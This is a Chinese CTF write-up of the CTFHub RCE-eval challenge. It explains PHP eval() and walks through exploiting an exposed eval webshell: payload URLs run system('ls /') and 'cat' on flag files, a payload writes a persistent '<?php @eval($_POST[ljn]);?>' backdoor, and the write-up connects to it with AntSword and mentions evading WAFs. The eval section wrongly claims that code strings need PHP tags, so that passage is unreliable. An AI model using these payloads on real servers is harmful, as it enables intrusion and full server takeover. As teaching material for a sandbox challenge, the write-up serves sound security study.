目录
[一、PHP eval](#一、PHP eval)
本文讲解CTFHub的RCE-eval关卡的原理和渗透实战的全过程,系统分析了PHP中eval()
函数的基本语法与安全风险,包括其动态执行字符串代码的特性、作用域访问规则及错误处理机制。通过渗透实战案例,演示了两种利用eval()
的攻击方法:一是直接执行系统命令(如ls
和cat
)获取服务器敏感文件;二是上传WebShell木马(如通过fputs
生成后门文件),结合蚁剑工具实现远程控制。文章强调eval()
的滥用可能导致任意代码执行(RCE)等严重安全问题,并提供了典型攻击场景的复现过程与防御思路。

一、PHP eval
1、基本语法
在 PHP 中,eval()
是一个特殊的函数,它能够将字符串作为 PHP 代码来执行。这一特性使得代码具备了动态执行的能力,但同时也带来了不少安全方面的隐患。eval的基本语法如下所示。
eval ( string $code ) : mixed
-
功能 :
eval()
将其参数$code
作为 PHP 代码来执行。 -
参数 :
$code
:需要被执行的 PHP 代码字符串。- 该字符串不能 包含打开/关闭的 PHP 标签(如
<?php ... ?>
) - 代码必须用分号
;
正确终止。
- 该字符串不能 包含打开/关闭的 PHP 标签(如
-
返回值 :如果代码执行成功,返回
NULL
,除非在执行的代码中调用了return
语句,则该return
的值就是eval()
的返回值。
2、重要特点
(1)代码字符串的格式要求
字符串末尾必须包含分号,并且需要用 PHP 标签(<?php ?>
)包裹代码。比如:
$code = '<?php echo "Hello World"; ?>';
eval($code); // 输出:Hello World
(2)作用域特性
eval()
中执行的代码会在当前作用域内运行,能够访问到当前作用域中的变量。例如:
$num = 10;
eval('<?php $num *= 2; echo $num; ?>'); // 输出:20
(3)错误处理方式
若执行的代码存在语法错误,会直接导致脚本终止运行。所以,在使用 eval()
时,必须对代码的合法性进行严格检查。
二、渗透实战
1、源码分析
打开靶场链接,如下所示页面直接显示了网站的源码内容。

分析源码,这是典型的PHP WebShell后门代码。它检查是否存在cmd
请求参数:若存在,则直接使用eval()
函数将参数值作为PHP代码执行,导致任意命令执行安全风险,攻击者可完全控制服务器;若不存在,则高亮显示自身源代码,相当于提供使用说明。该代码通常被攻击者非法上传,用于维持对网站的未授权访问和远程控制,原始code如下所示。
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
对源代码进行详细注释,具体如下所示。
<?php
// 条件判断:检查通过GET、POST或COOKIE方式传递的参数中,是否存在一个名为'cmd'的变量。
// $_REQUEST 是一个超全局数组,它默认包含了 $_GET, $_POST 和 $_COOKIE 中的数据。
// isset() 函数用于检测变量是否已设置并且非 null。
if (isset($_REQUEST['cmd'])) {
// 如果上面的条件为真(即用户提交了 cmd 参数),则执行花括号内的代码。
// eval() 是本次代码的核心,也是一个极度危险的函数。
// 功能:eval() 将其字符串参数当作 PHP 代码来执行。
// 参数:$_REQUEST["cmd"] --- 获取用户通过请求传递的 'cmd' 参数的值。
// 风险:由于直接执行用户输入,攻击者可以在此执行任意PHP代码,完全控制服务器。
// 例如:用户传递 ?cmd=echo `whoami`; 那么服务器就会执行 `whoami` 命令并返回结果。
eval($_REQUEST["cmd"]);
} else {
// 如果条件为假(即用户没有提交任何 cmd 参数),则执行 else 分支的代码。
// highlight_file() 是一个函数,用于对文件进行语法高亮显示。
// __FILE__ 是一个魔法常量,它代表当前文件的完整路径和文件名。
// 所以这行代码的作用是:将本文件(也就是这个WebShell脚本本身)的源代码以彩色高亮的形式输出到浏览器。
// 这通常是为了方便访问者看到这个脚本的代码,从而知道如何与之交互(即通过传递cmd参数)。
highlight_file(__FILE__);
}
// 脚本结束
?>
这是一个功能完整且高危的 WebShell。它提供了两种模式:
-
交互模式(攻击模式) :当用户提供了
cmd
参数时,它无条件地执行参数中的PHP代码。 -
自述模式(展示模式) :当用户没有提供
cmd
参数时,它将自己的源代码显示出来,相当于一个使用说明书。
攻击者通过访问这个脚本的URL,并附加 cmd
参数来操控服务器,其风险点具体如下所示。
-
任意代码执行 (RCE):
eval($_REQUEST["cmd"])
是核心风险点,它允许攻击者执行任何PHP代码,而PHP几乎可以调用所有系统命令和操作所有文件。 -
多种传参方式: 使用
$_REQUEST
使得攻击者可以通过 GET (URL)、POST (表单)或 COOKIE 来传递恶意命令,更加隐蔽。 -
隐蔽性: 当不传参数时,它只是显示自己的代码,看起来"人畜无害",很容易欺骗管理员。
2、渗透方法1:ls+cat
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,直接传入命令。通过源码分析,我们得知URL传入的参数名为 cmd
,通过 eval()
函数执行。
(1)ls查看当前目录
我们的目标是读取服务器上的flag文件,通过执行ls查看当前目录,观察是否当前目录下有flag相关文件,构造payload如下所示。
http://<目标网址>/?cmd=system('ls');
地址栏输入URL后点击执行,观察页面发现执行ls命令后后只显示index.php,并没有flag相关文件。

(2)ls查看根目录
通常名为 flag
文件一般都放到网站的根目录,故而本次我们执行ls /命令,查看根目录下有哪些文件,构造URL如下所示。
http://<目标网址>/?cmd=system('ls+/');
ls /
命令用于列出根目录下的文件,常可发现名为 flag
的文件。+
用于代替空格(URL中需编码)。在浏览器的地址栏输入完整URL,执行后页面会返回根目录的文件列表,我们发现了一个名为flag_31109的文件,具体如下所示。。

(3)查看flag
通过cat命令(cat /flag_31109)查看根目录下的flag_31109文件,构造URL如下所示。
http://<目标网址>/?cmd=system('cat+/flag_31109');
执行后效果如下所示,显示了flag值,渗透成功。

3、渗透方法2:上传木马
(1)上传木马
构造Payload:cmd= fputs(fopen('mooyuan.php','w'),'<?php @eval(_POST\[ljn\]);?\>');它的含义是**通过向网站传递恶意参数,迫使服务器在本目录下创建一个名为`mooyuan.php`的WebShell后门文件,文件内容为\_POST[ljn]);?>,该后门允许攻击者通过POST参数ljn
远程执行任意PHP代码,从而完全控制服务器。**完整的URL如下所示。
http://<目标网址>/?cmd=fputs(fopen('mooyuan.php','w'),'<?php @eval($_POST[ljn]);?>');
#我的环境为例
http://challenge-6bb564ce2d4eab66.sandbox.ctfhub.com:10800/?cmd=fputs(fopen('mooyuan.php','w'),'<?php @eval($_POST[ljn]);?>');
#URL编码后
http://challenge-6bb564ce2d4eab66.sandbox.ctfhub.com:10800/?cmd=fputs(fopen(%27mooyuan.php%27,%27w%27),%27%3C?php%20@eval($_POST[ljn]);?%3E%27);
执行效果如下所示,该语句的目标是在网站根目录生成webshell文件mooyuan.php。

(2)Hackbar访问
如下所示,访问木马URL同时POST参数设置为ljn=phpinfo();即成功获取到服务器的PHP敏感信息,其版本号为PHP5.6.40。
木马URL地址:http://challenge-6bb564ce2d4eab66.sandbox.ctfhub.com:10800/mooyuan.php
POST参数:ljn=phpinfo();

(3)蚁剑连接
打开蚁剑工具,右键-"添加数据",填写以下关键信息。
木马URL地址:http://challenge-6bb564ce2d4eab66.sandbox.ctfhub.com:10800/mooyuan.php
木马密码: ljn
为了绕过一些简单的WAF(Web应用防火墙)或避免被检测,通常选择编码器,这里使用默认即可。点击测试连接,此时观察右下角显示测试成功,说明木马的URL链接和密码是正确的。

看到测试连接成功提示后,点击 【添加】 按钮,现在,左侧数据列表里会出现您刚刚添加的WebShell记录,如下所示。

此时选中此项webshell,右键文件管理,进入到文件系统中的网站根目录(/var/www/html)中,如下所示当前目录中并没有flag相关文件。

(4)获取FLAG
接下来我们要去根目录中查找flag文件。如下所示,在网站的根目录下发现存flag文件,该文件名为flag_13765.txt。

双击打开flag_13765.txt文件,如下所示显示flag内容ctfhub{2654489d0eba0523890bcba8},说明渗透成功。

提交ctfhub{2654489d0eba0523890bcba8},页面提示flag正确。
